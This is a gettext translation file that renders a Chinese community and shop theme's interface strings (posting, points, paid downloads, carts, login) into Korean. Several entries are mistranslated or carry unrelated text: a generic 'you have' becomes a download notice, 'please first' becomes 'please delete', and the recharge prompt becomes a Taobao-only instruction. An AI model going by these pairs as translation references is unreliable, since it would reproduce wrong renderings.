#: Modules/Templates/Header.php:392 Pages/po-ask.php:281
#: Pages/po-infomation.php:260 Pages/write.php:668
#: TempParts/circle/circle-comment-and-answer.php:43 archive-newsflashes.php:63
#: single-ask.php:302
msgid "发布"
msgstr "글 등록"

#: Modules/Templates/Header.php:417
#, fuzzy
#| msgid "投票"
msgid "投稿"
msgstr "기고 및 미디어 권한"

#: Modules/Templates/Header.php:550 Modules/Templates/Header.php:866
#: Modules/Templates/Header.php:910 Pages/message.php:12
msgid "消息"
msgstr "읽지 않은 메시지가 있습니다."

#: Modules/Templates/Header.php:674
msgid "所有往来私信"
msgstr "모든 개인 메시지"

#: Modules/Templates/Header.php:683
#, fuzzy, php-format
msgid "%s、积分管理"
msgstr "균형 및 포인트 관리"

#: Modules/Templates/Header.php:692
msgid "推广有奖励"
msgstr "승진은 보상을 받는다"

#: Modules/Templates/Header.php:701 Pages/task.php:20
msgid "每日任务"
msgstr "매일 임무"

#: Modules/Templates/Header.php:710
msgid "购买付费会员"
msgstr "유료 회원 구매"

#: Modules/Templates/Header.php:719
msgid "申请认证"
msgstr "인증 신청"

#: Modules/Templates/Header.php:728
msgid "关进小黑屋的人"
msgstr "작은 검은 집에 갇혀"

#: Modules/Templates/Header.php:737
msgid "查看我的订单"
msgstr "내 주문보기"

#: Modules/Templates/Header.php:746
msgid "编辑个人资料"
msgstr "프로필 편집"

#: Modules/Templates/Header.php:750
msgid "进入后台管理"
msgstr "백그라운드 관리 시작"

#: Modules/Templates/Header.php:815
msgid "退出登录"
msgstr "로그아웃"

#: Modules/Templates/Header.php:842
#, php-format
msgid "您已完成今天任务的%s"
msgstr "오늘 암무의 %s를 완성 했습니다."

#: Modules/Templates/Header.php:868
msgid "您有"
msgstr "매일 모든 자원을 다운로드 할수 있습니다."

#: Modules/Templates/Header.php:868
msgid "条新的私信"
msgstr "개 새 메시지가 있습니다."

#: Modules/Templates/Header.php:869
msgid "您没有新的私信"
msgstr "새로운 메시지가 없습니다."

#: Modules/Templates/Header.php:881
msgid "查看全部私信"
msgstr "전체 메시지"

#: Modules/Templates/Header.php:906
msgid "发起"
msgstr "완료되지 않은 현금 인출 요청이 있습니다. 완료 후 다시 시작하십시오."

#: Modules/Templates/Header.php:924 Modules/Templates/VueTemplates.php:233
#: TempParts/circle/circle-comment-and-answer.php:14
#: TempParts/circle/circle-comment-and-answer.php:51
#: TempParts/circle/circle-form.php:107
#: TempParts/circle/circle-topic-content.php:101 single-ask.php:273
msgid "快速注册"
msgstr "가입"

#: Modules/Templates/Index.php:30
#, php-format
msgid "请先前往后台对首页布局进行设置：%s"
msgstr "홈페이지 레이아웃을 설정하려면 배경으로 이동하십시오 :  %s"

#: Modules/Templates/Menu.php:284
#, php-format
msgid "%s篇"
msgstr "%s편 업데이트"

#: Modules/Templates/Menu.php:393
msgid "没有文章"
msgstr "내용이 없습니다."

#: Modules/Templates/Modules/Circle.php:86
#: Modules/Templates/Modules/Collection.php:71
#: Modules/Templates/VueTemplates.php:344
#: Modules/Templates/VueTemplates.php:354 functions.php:1646
msgid "前往"
msgstr "이동"

#: Modules/Templates/Modules/Circle.php:198
#: TempParts/circle/circle-form.php:326
msgid "PK"
msgstr "PK"

#: Modules/Templates/Modules/Circle.php:203 Pages/circle-topics.php:23
#: TempParts/circle/circle-form.php:200 TempParts/circle/circle-form.php:206
#: TempParts/circle/circle-topic-content.php:304
#: TempParts/circle/circle-topic-content.php:337
#: TempParts/circle/circle-topic-list.php:88
msgid "投票"
msgstr "투표"

#: Modules/Templates/Modules/Circle.php:209 Pages/circle-topics.php:26
#: TempParts/circle/circle-form.php:201 TempParts/circle/circle-form.php:207
#: TempParts/circle/circle-topic-list.php:91
msgid "你猜"
msgstr "당신은 추측"

#: Modules/Templates/Modules/Circle.php:215 Pages/circle-topics.php:17
#: TempParts/circle/circle-form.php:198 TempParts/circle/circle-form.php:204
#: TempParts/circle/circle-topic-list.php:82
msgid "我说"
msgstr "내가 말하다"

#: Modules/Templates/Modules/Collection.php:62
#, fuzzy, php-format
#| msgid "专题：第%s期"
msgid "%s：第%s期"
msgstr "주제: 제%s기"

#: Modules/Templates/Modules/Collection.php:70
#, php-format
msgid "更新%s篇"
msgstr "%s편 업데이트"

#: Modules/Templates/Modules/Collection.php:128 Pages/collection.php:54
#: TempParts/Archive/content-collection.php:204
#, fuzzy, php-format
#| msgid "专题：第%s%s%s期"
msgid "%s：第%s%s%s期"
msgstr "주제：제%s%s%s기"

#: Modules/Templates/Modules/Collection.php:139 Pages/collection.php:74
#: functions.php:1807
msgid "更新"
msgstr "업데이트"

#: Modules/Templates/Modules/Collection.php:139 Pages/collection.php:75
#: Pages/tags.php:18
msgid "篇文章"
msgstr "개 내용"

#: Modules/Templates/Modules/Collection.php:218
#, php-format
msgid "第%s%s%s期"
msgstr "주제：제%s%s%s기"

#: Modules/Templates/Modules/Links.php:42
#: Modules/Templates/Modules/Posts.php:1200
#: Modules/Templates/Modules/Posts.php:1204
#: Modules/Templates/Modules/Products.php:335
#: TempParts/circle/circle-form.php:236
msgid "更多"
msgstr "더 보기"

#: Modules/Templates/Modules/Links.php:51
msgid "相似站点"
msgstr "유사한 사이트"

#: Modules/Templates/Modules/Posts.php:129
#, php-format
msgid "%s分钟内允许编辑"
msgstr "%s 분 후에 수정 가능"

#: Modules/Templates/Modules/Posts.php:144
msgid "草稿"
msgstr "초고"

#: Modules/Templates/Modules/Posts.php:198
#: Modules/Templates/Modules/Posts.php:352
#: Modules/Templates/Modules/Posts.php:534
#: Modules/Templates/Modules/Posts.php:712
#: Modules/Templates/Modules/Posts.php:788
#: Modules/Templates/Modules/Posts.php:916 Pages/circle-topics.php:104
#: TempParts/Ask/comments.php:115 TempParts/circle/circle-comments.php:119
#: TempParts/circle/circle-topic-list.php:200
msgid "加载中..."
msgstr "로드 중 ..."

#: Modules/Templates/Modules/Posts.php:198
#: Modules/Templates/Modules/Posts.php:352
#: Modules/Templates/Modules/Posts.php:534
#: Modules/Templates/Modules/Posts.php:712
#: Modules/Templates/Modules/Posts.php:788
#: Modules/Templates/Modules/Posts.php:916
msgid "没有更多了"
msgstr "마지막 입니다."

#: Modules/Templates/Modules/Posts.php:198
#: Modules/Templates/Modules/Posts.php:352
#: Modules/Templates/Modules/Posts.php:534
#: Modules/Templates/Modules/Posts.php:712
#: Modules/Templates/Modules/Posts.php:788
#: Modules/Templates/Modules/Posts.php:916
#: Modules/Templates/VueTemplates.php:358
msgid "加载更多"
msgstr "더보기"

#: Modules/Templates/Modules/Posts.php:1484 Modules/Templates/Single.php:198
#, php-format
msgid "共%s节"
msgstr "총 %s 세션"

#: Modules/Templates/Modules/Posts.php:1486
#, php-format
msgid "%s个资源"
msgstr "%s 리소스"

#: Modules/Templates/Modules/Posts.php:1493 Pages/circle-topics.php:49
#: TempParts/circle/circle-topic-list.php:115
msgid "付费阅读"
msgstr "유료 독서"

#: Modules/Templates/Modules/Posts.php:1496 Pages/write.php:594
msgid "支付积分"
msgstr "포인트 지불"

#: Modules/Templates/Modules/Posts.php:1499 Pages/circle-topics.php:51
#: Pages/write.php:595 TempParts/circle/circle-topic-list.php:117
msgid "限制等级"
msgstr "등급 제한"

#: Modules/Templates/Modules/Posts.php:1502
msgid "登陆可见"
msgstr "확인하려면 로그인하세요."

#: Modules/Templates/Modules/Search.php:30
msgid "热门搜索："
msgstr "인기 검색어 :"

#: Modules/Templates/Single.php:122
msgid "查看完整视频"
msgstr "전체 동영상 보기"

#: Modules/Templates/Single.php:126
msgid "小黑屋思过中，禁止观看！"
msgstr "작은 검은 방이 그것에 대해 생각하고 있으므로 조심하십시오!"

#: Modules/Templates/Single.php:130
msgid "注册会员专属"
msgstr "가입회원 전용"

#: Modules/Templates/Single.php:132
msgid "您需要登录以后才能查看完整视频"
msgstr "전체 동영상을 보려면 로그인해야 합니다."

#: Modules/Templates/Single.php:135 Modules/Templates/Single.php:144
#: Modules/Templates/Single.php:156 Modules/Templates/Single.php:169
#: Modules/Templates/Single.php:184
msgid "观看预览视频"
msgstr "미리보기"

#: Modules/Templates/Single.php:140
msgid "评论并刷新后可见"
msgstr "댓글 후 새로 고침 후 표시"

#: Modules/Templates/Single.php:142
msgid "您需要在视频最下面评论并刷新后，方可查看完整视频"
msgstr "전체 동영상을 보려면 동영상의 하단에 댓글을 달아야 합니다."

#: Modules/Templates/Single.php:143 Modules/Templates/Single.php:675
#: Modules/Templates/Single.php:705
msgid "去评论"
msgstr "댓글"

#: Modules/Templates/Single.php:148
msgid "积分观看"
msgstr "포인트로 보기"

#: Modules/Templates/Single.php:150
#, fuzzy
#| msgid "您支付积分，方可查看完整视频"
msgid "支付积分后查看完整视频"
msgstr "전체 동영상을 보려면 포인트를 지불하십시오."

#: Modules/Templates/Single.php:155
msgid "积分支付观看"
msgstr "포인트 지불후 보기"

#: Modules/Templates/Single.php:161
msgid "付费视频"
msgstr "유료 동영상"

#: Modules/Templates/Single.php:163
#, fuzzy
#| msgid "支付后观看完整视频"
msgid "支付完成后查看完整视频"
msgstr "결제 후 전체 영상 보기"

#: Modules/Templates/Single.php:168
msgid "支付后观看完整视频"
msgstr "결제 후 전체 영상 보기"

#: Modules/Templates/Single.php:174
msgid "专属视频"
msgstr "전용 영상"

#: Modules/Templates/Single.php:176
msgid "只允许以下等级用户查看该视频"
msgstr "다음 등급의 사용자 만이 동영상을 볼수 있습니다."

#: Modules/Templates/Single.php:190
msgid "会员专享"
msgstr "회원전용"

#: Modules/Templates/Single.php:198 Modules/Templates/Single.php:255
msgid "视频选集"
msgstr "비디오 선택"

#: Modules/Templates/Single.php:234
#: TempParts/Single/content-post-style-2.php:76
#: TempParts/Single/content-post-style-3.php:52
#: TempParts/Single/content-post-style-4.php:70 TempParts/Single/content.php:50
msgid "前往下载"
msgstr "다운로드로 이동"

#: Modules/Templates/Single.php:246 Modules/Templates/Widgets/Author.php:243
#: Pages/circle-users.php:43 Pages/directmessage.php:43
#: Pages/directmessage.php:79 Search/user.php:89
#: TempParts/Single/content-post-style-2.php:91
#: TempParts/Single/content-post-style-3.php:67
#: TempParts/Single/content-post-style-4.php:85 TempParts/Single/content.php:65
#: TempParts/single-answer.php:39 TempParts/single-attachment.php:41
#: TempParts/single-infomation.php:60 TempParts/single-newsflashes.php:47
#: functions.php:1799 single-ask.php:75
msgid "私信"
msgstr "메시지"

#: Modules/Templates/Single.php:254
msgid "视频介绍"
msgstr "비디오 소개"

#: Modules/Templates/Single.php:256
msgid "交流讨论"
msgstr "교류 토론"

#: Modules/Templates/Single.php:386
msgid "释放双眼，带上耳机，听听看~！"
msgstr "눈을 떼고 헤드폰을 쓰고 들어 봐 ~!"

#: Modules/Templates/Single.php:525 User/orders.php:102
msgid "查看"
msgstr "보기"

#: Modules/Templates/Single.php:532
msgid "评论并刷新后下载"
msgstr "새로 고침 후 댓글 달기 및 다운로드"

#: Modules/Templates/Single.php:533 Modules/Templates/Widgets/Download.php:181
msgid "登录后下载"
msgstr "로그인 후 다운로드"

#: Modules/Templates/Single.php:540 Modules/Templates/Widgets/Download.php:162
msgid "查看演示"
msgstr "데모 보기"

#: Modules/Templates/Single.php:548 Pages/download.php:65
msgid "您当前的等级为"
msgstr "당신의 현재 등급은"

#: Modules/Templates/Single.php:553
msgid "登录后免费下载"
msgstr "무료 다운로드"

#: Modules/Templates/Single.php:556 functions.php:2187
msgid "小黑屋反思中，不准下载！"
msgstr "작은 검은 방을 반영한 다운로드는 허용되지 않습니다!"

#: Modules/Templates/Single.php:559
msgid "评论后刷新页面下载"
msgstr "다운로드하려면 댓글 후 페이지 새로 고침"

#: Modules/Templates/Single.php:562 Modules/Templates/Single.php:572
#, fuzzy, php-format
#| msgid "支付积分以后下载"
msgid "支付%s以后下载"
msgstr "포인트 지불 후 다운로드 하십시오."

#: Modules/Templates/Single.php:563
msgid "请先"
msgstr "삭제 해주세요"

#: Modules/Templates/Single.php:566
#, php-format
msgid "您今天的下载次数（%s次）用完了，请明天再来"
msgstr "오늘 다운로드가 소진되었습니다(%s회). 내일 다시 오십시오."

#: Modules/Templates/Single.php:569
#, fuzzy, php-format
#| msgid "支付积分以后下载"
msgid "支付积分%s以后下载"
msgstr "포인트 지불 후 다운로드 하십시오."

#: Modules/Templates/Single.php:569 Modules/Templates/Single.php:572
msgid "立即支付"
msgstr "바로 결제"

#: Modules/Templates/Single.php:576
msgid "您当前的用户组不允许下载"
msgstr "현재 사용자 그룹은 다운로드를 허용하지 않습니다."

#: Modules/Templates/Single.php:576 Modules/Templates/Widgets/Download.php:212
#: Pages/download.php:84
msgid "升级会员"
msgstr "회원 업그레이드"

#: Modules/Templates/Single.php:581 Modules/Templates/Widgets/Download.php:217
msgid "您已获得下载权限"
msgstr "다운로드 권한을 획득 했습니다."

#: Modules/Templates/Single.php:584
msgid "您可以每天下载资源"
msgstr "매일 모든 자원을 다운로드 할수 있습니다."

#: Modules/Templates/Single.php:584
msgid "次，今日剩余"
msgstr "회의 특권, 오늘의 나머지"

#: Modules/Templates/Single.php:584 Pages/download.php:89
msgid "次"
msgstr "회"

#: Modules/Templates/Single.php:623
#, php-format
msgid "给TA%s"
msgstr "타에게%s"

#: Modules/Templates/Single.php:631
#, php-format
msgid "共%s人"
msgstr "총 %s 명"

#: Modules/Templates/Single.php:635
#, php-format
msgid "人已%s"
msgstr "사람들은 %s"

#: Modules/Templates/Single.php:674 Modules/Templates/Single.php:689
#: Modules/Templates/Single.php:704 TempParts/single-infomation.php:141
msgid "海报分享"
msgstr "공유하기"

#: Modules/Templates/Single.php:678 Modules/Templates/Single.php:709
msgid "喜欢"
msgstr "좋아요"

#: Modules/Templates/Single.php:690 Modules/Templates/Single.php:706
#: Modules/Templates/Single.php:893 Modules/Templates/Single.php:990
#: Modules/Templates/Single.php:1101 TempParts/single-infomation.php:142
msgid "已收藏"
msgstr "찜함"

#: Modules/Templates/Single.php:690 Modules/Templates/Single.php:706
#: Modules/Templates/Single.php:893 Modules/Templates/Single.php:990
#: Modules/Templates/Single.php:1101
#: TempParts/circle/circle-topic-footer.php:12
#: TempParts/single-infomation.php:142 author.php:126 functions.php:2049
msgid "收藏"
msgstr "북마크"

#: Modules/Templates/Single.php:753
msgid "猜你喜欢"
msgstr "좋아할만한 것"

#: Modules/Templates/Single.php:798 Modules/Templates/Single.php:910
#: Modules/Templates/Single.php:1006
msgid "价格："
msgstr "가격: "

#: Modules/Templates/Single.php:806
msgid "折扣价："
msgstr "할인가:"

#: Modules/Templates/Single.php:815
msgid "会员价："
msgstr "회원가:"

#: Modules/Templates/Single.php:827
msgid "允许购买的用户组"
msgstr "볼 수있는 사용자 그룹"

#: Modules/Templates/Single.php:836
msgid "赠送积分"
msgstr "포인트"

#: Modules/Templates/Single.php:854
msgid "已售数量"
msgstr "판매 수량"

#: Modules/Templates/Single.php:863 Modules/Templates/Single.php:965
msgid "购买数量"
msgstr "수량"

#: Modules/Templates/Single.php:879
msgid "加入购物车"
msgstr "장바구니"

#: Modules/Templates/Single.php:882
msgid "已加入购物车"
msgstr "장바구니에 상품을 담았습니다."

#: Modules/Templates/Single.php:930
msgid "允许兑换的用户组"
msgstr "볼 수있는 사용자 그룹"

#: Modules/Templates/Single.php:947 Modules/Templates/Single.php:1043
msgid "库存"
msgstr "재고: "

#: Modules/Templates/Single.php:956
msgid "已兑"
msgstr "교환: "

#: Modules/Templates/Single.php:974 Modules/Templates/Single.php:1060
msgid "实物收货地址（必选）："
msgstr "배송지 (필수):"

#: Modules/Templates/Single.php:974 Modules/Templates/Single.php:1060
msgid "编辑地址"
msgstr "주소 편집"

#: Modules/Templates/Single.php:976 Modules/Templates/Single.php:1062
#: Pages/carts.php:79
msgid "收货地址为空，请添加一个收货地址！"
msgstr "배송지 주소가 비어 있습니다. 배송지 주소를 추가하세요!"

#: Modules/Templates/Single.php:979 Modules/Templates/Single.php:1065
#: Pages/carts.php:85
msgid "虚拟物品接收邮箱（必填）："
msgstr "가상 아이템을 받기위한 이메일 주소 (필수) :"

#: Modules/Templates/Single.php:979 Modules/Templates/Single.php:1065
msgid "更换邮箱"
msgstr "이메일 교체"

#: Modules/Templates/Single.php:981 Modules/Templates/Single.php:1067
msgid "请设置一个邮箱，用以接收购买信息！"
msgstr "구매 정보를 수신하도록 이메일을 설정하십시오!"

#: Modules/Templates/Single.php:1026
msgid "允许参与"
msgstr "참여 허용"

#: Modules/Templates/Single.php:1052 Modules/Templates/Widgets/Products.php:211
msgid "抽中"
msgstr "추첨됨:"

#: Modules/Templates/Single.php:1089
#, fuzzy, php-format
msgid "恭喜，您中奖啦！请前往 %s订单中心%s 查看中奖结果"
msgstr ""
"축하합니다, 당신은 이겼습니다! 당첨 결과를 확인하려면 %s주문 센터%s로 이동하"
"세요."

#: Modules/Templates/Single.php:1090
#, php-format
msgid "恭喜，您中奖啦！请刷新本页：%s刷新%s"
msgstr "축하합니다.당첨 되었습니다!이 페이지를 세로 고치십시오:%s새로 고침%s"

#: Modules/Templates/Single.php:1092
msgid "运气稍微差了一点，再接再厉！"
msgstr "조금만 더 분발 하세요!"

#: Modules/Templates/Single.php:1094
msgid "两边数字相等，代表中奖！"
msgstr "양쪽의 숫자가 같으면 당첨을 의미 합니다!"

#: Modules/Templates/Single.php:1146
#, php-format
msgid "限购商品：每个账户%s限购%s件"
msgstr "제한된 항목: 계정당 %s 항목 %s."

#: Modules/Templates/Single.php:1146
#, php-format
msgid "%s天内"
msgstr "0] 일 이내"

#: Modules/Templates/VueTemplates.php:53
msgid "第{#}页"
msgstr "{#}페이지"

#: Modules/Templates/VueTemplates.php:77
msgid "您的浏览器不支持 localStorage ，请更换浏览器以后再进行登录和注册的操作"
msgstr ""
"귀하의 브라우저는 localStorage를 지원하지 않습니다. 로그인 및 등록하기 전에 "
"브라우저를 변경하십시오."

#: Modules/Templates/VueTemplates.php:85
msgid "成功复制"
msgstr "복사 됐습니다."

#: Modules/Templates/VueTemplates.php:86
msgid "失败，请选中复制"
msgstr "다시 복사 하십시오."

#: Modules/Templates/VueTemplates.php:97
msgid "获取海报失败"
msgstr "화보공유 생성 실패"

#: Modules/Templates/VueTemplates.php:100
msgid "确认要取消关注吗？"
msgstr "구독을 취소하겠습니까?"

#: Modules/Templates/VueTemplates.php:103
msgid "确定要取消收藏吗？"
msgstr "찜목록에서 삭제 하시겠습니까?"

#: Modules/Templates/VueTemplates.php:165
#: Modules/Templates/VueTemplates.php:856
msgid "使用邀请码，您将获得一份特殊的礼物！"
msgstr "초대장을 사용하면 특별한 선물을 받을수 있습니다!"

#: Modules/Templates/VueTemplates.php:171
#: Modules/Templates/VueTemplates.php:862 Pages/open.php:21
msgid "跳过"
msgstr "건너뛰기"

#: Modules/Templates/VueTemplates.php:178
msgid "密码修改成功，请登录"
msgstr "비밀번호가 변경됐습니다. 로그인하십시오."

#: Modules/Templates/VueTemplates.php:182
msgid "找回密码"
msgstr "비밀번호 찾기"

#: Modules/Templates/VueTemplates.php:183
msgid "请输入您的新密码"
msgstr "새 비밀번호를 입력하세요."

#: Modules/Templates/VueTemplates.php:188
msgid "可爱的昵称"
msgstr "닉네임"

#: Modules/Templates/VueTemplates.php:193
msgid "登录手机号或邮箱"
msgstr "이메일"

#: Modules/Templates/VueTemplates.php:195
msgid "用作登录：字母或数字的组合，最少6位字符"
msgstr "로그인으로 사용하는 문자 또는 숫자의 조합,최소한 6 자"

#: Modules/Templates/VueTemplates.php:196
msgid "用作登录"
msgstr "휴대포 번호로 로그인 할수 있습니다."

#: Modules/Templates/VueTemplates.php:206
#: Modules/Templates/VueTemplates.php:926 User/settings.php:105
#: User/settings.php:120
msgid "验证码"
msgstr "인증번호"

#: Modules/Templates/VueTemplates.php:212
#: Modules/Templates/VueTemplates.php:927 User/settings.php:106
#: User/settings.php:121
msgid "秒后可重发"
msgstr "초후 다시 발송 할수 있습니다."

#: Modules/Templates/VueTemplates.php:212
#: Modules/Templates/VueTemplates.php:927 User/settings.php:106
#: User/settings.php:121
msgid "发送验证码"
msgstr "인증번호 보내기"

#: Modules/Templates/VueTemplates.php:217 User/settings.php:134
msgid "新密码"
msgstr "새 비밀번호"

#: Modules/Templates/VueTemplates.php:223 User/settings.php:135
msgid "重复新密码"
msgstr "새 비밀번호 확인"

#: Modules/Templates/VueTemplates.php:224
#: Modules/Templates/VueTemplates.php:936
msgid "最少6位字符"
msgstr "6자 이상"

#: Modules/Templates/VueTemplates.php:227
msgid ""
"请填写您注册时使用的手机号码或邮箱，发送验证码以后，请在手机号码或邮箱中查"
"看，并填写到此处！（验证码3分钟有效期）"
msgstr ""
"회원 가입시 사용하신 휴대폰 번호 또는 이메일 주소를 입력 하시고, 인증 코드 발"
"송 후 휴대폰 번호 또는 이메일 주소에서 확인 후 여기에 입력 해주세요! (인증 코"
"드는 3 분 동안 유효합니다)"

#: Modules/Templates/VueTemplates.php:229
#: Modules/Templates/VueTemplates.php:267
#, php-format
msgid "我已同意 %s用户协议%s 和 %s隐私政策%s"
msgstr ""
"로그인 등록은 %s사용자 협의 %s, %s 개인 정보 보호 정책 %s에 동의함을 의미합니"
"다."

#: Modules/Templates/VueTemplates.php:232
msgid "快速登录"
msgstr "로그인"

#: Modules/Templates/VueTemplates.php:234
msgid "下一步"
msgstr "다음"

#: Modules/Templates/VueTemplates.php:238 Pages/carts.php:117
msgid "返回修改"
msgstr "전으로 돌아기기"

#: Modules/Templates/VueTemplates.php:239
msgid "邀请码错了？"
msgstr "초대장이 잘못 됏습니까?"

#: Modules/Templates/VueTemplates.php:239
#: Modules/Templates/VueTemplates.php:734 User/settings.php:132
msgid "修改"
msgstr "수정"

#: Modules/Templates/VueTemplates.php:240
#: Modules/Templates/VueTemplates.php:241
msgid "忘记密码？"
msgstr "비밀번호 잊으셨나요?"

#: Modules/Templates/VueTemplates.php:240
msgid "新用户？"
msgstr "처음 이신가요?"

#: Modules/Templates/VueTemplates.php:241
msgid "已有帐号？"
msgstr "계정이 있습니까?"

#: Modules/Templates/VueTemplates.php:246
#: Modules/Templates/VueTemplates.php:258
msgid "社交登录:"
msgstr "소셜 로그인"

#: Modules/Templates/VueTemplates.php:285
msgid "请进行人机验证"
msgstr "로봇이 아닙니다."

#: Modules/Templates/VueTemplates.php:294
#, php-format
msgid "请输入图片中的验证码%s点击发送按钮获取验证码"
msgstr ""
"사진의 인증코드 %s를 입력하고 보내기 버튼을 클릭하여 인증 코드를 받으십시오."

#: Modules/Templates/VueTemplates.php:299
#: Modules/Templates/VueTemplates.php:757 Pages/directmessage.php:84
msgid "发送"
msgstr "보내기"

#: Modules/Templates/VueTemplates.php:333
#, fuzzy
msgid "举报提交后，我们会以邮件的形式向您反馈处理结果。"
msgstr "보고서가 제출되면 결과에 대한 피드백을 이메일로 보내드립니다."

#: Modules/Templates/VueTemplates.php:344 functions.php:1645
msgid " 页"
msgstr "잎"

#: Modules/Templates/VueTemplates.php:357
msgid "没有更多"
msgstr "마지막 입니다."

#: Modules/Templates/VueTemplates.php:409
#, fuzzy
msgid "点击复制推广网址："
msgstr "프로모션 URL을 복사하려면 클릭하세요."

#: Modules/Templates/VueTemplates.php:412
#, fuzzy
msgid "长按图片分享给朋友，或者保存到手机"
msgstr "길게 눌러 친구와 공유하거나 휴대 전화에 저장"

#: Modules/Templates/VueTemplates.php:412
#: Modules/Templates/VueTemplates.php:422
#, fuzzy
msgid "海报创建中"
msgstr "포스터가 만들어지고 있습니다"

#: Modules/Templates/VueTemplates.php:415
#, fuzzy
msgid "分享到："
msgstr "Weibo에 공유"

#: Modules/Templates/VueTemplates.php:417
msgid "QQ好友"
msgstr "QQ 친구"

#: Modules/Templates/VueTemplates.php:418
msgid "QQ空间"
msgstr "QQ 공간"

#: Modules/Templates/VueTemplates.php:421
#, fuzzy
msgid "下载海报："
msgstr "포스터 다운로드:"

#: Modules/Templates/VueTemplates.php:422
msgid "点击下载"
msgstr "다운로드"

#: Modules/Templates/VueTemplates.php:438
msgid "搜索一下可能来得更快"
msgstr "검색을 사용하면 더 빠르게 찾을수 있습니다."

#: Modules/Templates/VueTemplates.php:440 Pages/requests.php:13
#: TempParts/Document/category.php:21 single-document.php:27
msgid "请输入关键词"
msgstr "키워드를 입력하세요."

#: Modules/Templates/VueTemplates.php:486
#: Modules/Templates/VueTemplates.php:753
msgid "给"
msgstr "To: "

#: Modules/Templates/VueTemplates.php:503
#, php-format
msgid "%s可购买%s积分，最低兑换额度%s"
msgstr "%s에 %s포인트를 구매할 수 있습니다，최소 구매액은 %s입니다."

#: Modules/Templates/VueTemplates.php:520
msgid "请输入充值金额："
msgstr ""
"현제 타오바오에서만 충전을 할수 있습니다.타오바오에서 구매후 관리자에게 메시"
"지를 보내 알려주세요.\n"
"<a href=\"#\" style=\"color:red; \">바로가기</a>"

#: Modules/Templates/VueTemplates.php:523
#, php-format
msgid "您每天可以充值%s次，每次最多充%s"
msgstr "하루에 %s번, 한 번에 %s개까지 충전할 수 있습니다."

#: Modules/Templates/VueTemplates.php:527
msgid "请输入您的充值卡和密码："
msgstr "충전 카드 번호와 비밀번호를 입력하세요."

#: Modules/Templates/VueTemplates.php:535
msgid "请输入要购买的金额"
msgstr "구매하실 금액을 입력해주세요."

#: Modules/Templates/VueTemplates.php:548
#, fuzzy, php-format
#| msgid "您当前的等级为"
msgid "您当前的%s为"
msgstr "당신의 현재 등급은"

#: Modules/Templates/VueTemplates.php:548
#, fuzzy, php-format
msgid "充值%s"
msgstr "재충전 %s"

#: Modules/Templates/VueTemplates.php:549
#, fuzzy, php-format
msgid "商品价格为0元，请使用%s付款！"
msgstr "제품 가격은 0 원, 잔고를 사용하여 지불하십시오!"

#: Modules/Templates/VueTemplates.php:562
#: Modules/Templates/VueTemplates.php:563
msgid "请选择支付方式"
msgstr "결제 수단"

#: Modules/Templates/VueTemplates.php:562
msgid "创建订单中..."
msgstr "주문 생성..."

#: Modules/Templates/VueTemplates.php:579
msgid "选择地址"
msgstr "주소선택"

#: Modules/Templates/VueTemplates.php:606
msgid "请添加一个收货地址"
msgstr "배송지를 추가 하세요."

#: Modules/Templates/VueTemplates.php:609
msgid "添加新的地址"
msgstr "새 주소 추가"

#: Modules/Templates/VueTemplates.php:614 User/settings.php:58
msgid "收货地址"
msgstr "배송지"

#: Modules/Templates/VueTemplates.php:618
msgid "收货人姓名"
msgstr "수취인"

#: Modules/Templates/VueTemplates.php:622
msgid "收货人手机号码"
msgstr "수취인 전화번호"

#: Modules/Templates/VueTemplates.php:626
msgid "返回地址列表"
msgstr "주소목록 돌아가기"

#: Modules/Templates/VueTemplates.php:627
msgid "保存地址"
msgstr "주소저장"

#: Modules/Templates/VueTemplates.php:643
msgid "填写邮箱"
msgstr "이메일 입력"

#: Modules/Templates/VueTemplates.php:653 User/settings.php:20
#: User/settings.php:31 User/settings.php:42 User/settings.php:52
#: User/settings.php:108 User/settings.php:123 User/settings.php:136
msgid "保存"
msgstr "확인"

#: Modules/Templates/VueTemplates.php:678
#: Modules/Templates/VueTemplates.php:690
#: Modules/Templates/VueTemplates.php:695
#: Modules/Templates/VueTemplates.php:782
#: Modules/Templates/VueTemplates.php:787
#: Modules/Templates/VueTemplates.php:953 Pages/gold.php:128
msgid "确定"
msgstr "확인"

#: Modules/Templates/VueTemplates.php:684
msgid "支付确认中"
msgstr "결제 확인 중"

#: Modules/Templates/VueTemplates.php:694
#: Modules/Templates/VueTemplates.php:781 Pages/return.php:18
#: Pages/xunhusuccess.php:8 functions.php:1843
msgid "支付成功"
msgstr "결제 성공"

#: Modules/Templates/VueTemplates.php:721
msgid "前往查看详情"
msgstr "세부정보로 이동"

#: Modules/Templates/VueTemplates.php:737
msgid "请输入对方昵称，从下拉框里选择收件人"
msgstr "상대방의 닉네임을 입력하고 아래 탭에서 받는 사람을 선택하세요."

#: Modules/Templates/VueTemplates.php:738
msgid "搜索昵称"
msgstr "닉네임 검색"

#: Modules/Templates/VueTemplates.php:745
#: Modules/Templates/Widgets/HotCircle.php:201
msgid "暂无描述"
msgstr "설명이 없습니다."

#: Modules/Templates/VueTemplates.php:753 Pages/ask-people.php:39
#: Pages/circle-people.php:37 Pages/directmessage.php:19
#: Pages/infomation-people.php:39 author.php:58
msgid "发私信"
msgstr " 메시지 보내기"

#: Modules/Templates/VueTemplates.php:753
msgid "私信内容"
msgstr "메시지 내용"

#: Modules/Templates/VueTemplates.php:792
#, php-format
msgid "请截图使用%s识别支付"
msgstr "스크린 샷을 찍고  %s를 사용하여 결제를 확인하세요."

#: Modules/Templates/VueTemplates.php:792
msgid "微信相册"
msgstr "WeChat 앨범"

#: Modules/Templates/VueTemplates.php:793
msgid "请打开手机使用"
msgstr "휴대폰으로 사용하세요"

#: Modules/Templates/VueTemplates.php:793
msgid "扫码支付"
msgstr "코드결제"

#: Modules/Templates/VueTemplates.php:824
msgid "您当前的积分为"
msgstr "현재 포인트는"

#: Modules/Templates/VueTemplates.php:827
#, php-format
msgid "您当前的积分不足，请 %s购买积分%s"
msgstr "현재 포인트가 부족합니다.%s 포인트 %s를 구입하시기 바랍니다."

#: Modules/Templates/VueTemplates.php:846
msgid "打开微信扫一扫"
msgstr "WeChat을 열고 스캔"

#: Modules/Templates/VueTemplates.php:847
msgid "截图保存到手机相册，再微信扫码登录"
msgstr ""
"스크린샷을 찍어 휴대폰 앨범에 저장한 다음, 위챗으로 코드를 스캔하여 로그인하"
"세요!"

#: Modules/Templates/VueTemplates.php:870
#, fuzzy
msgid "扫码快速登陆，无需重复注册"
msgstr "코드를 스캔하여 빠르게 로그인하세요. 등록을 반복할 필요가 없습니다."

#: Modules/Templates/VueTemplates.php:870
msgid "扫码并「关注我们的公众号」安全快捷登录"
msgstr ""
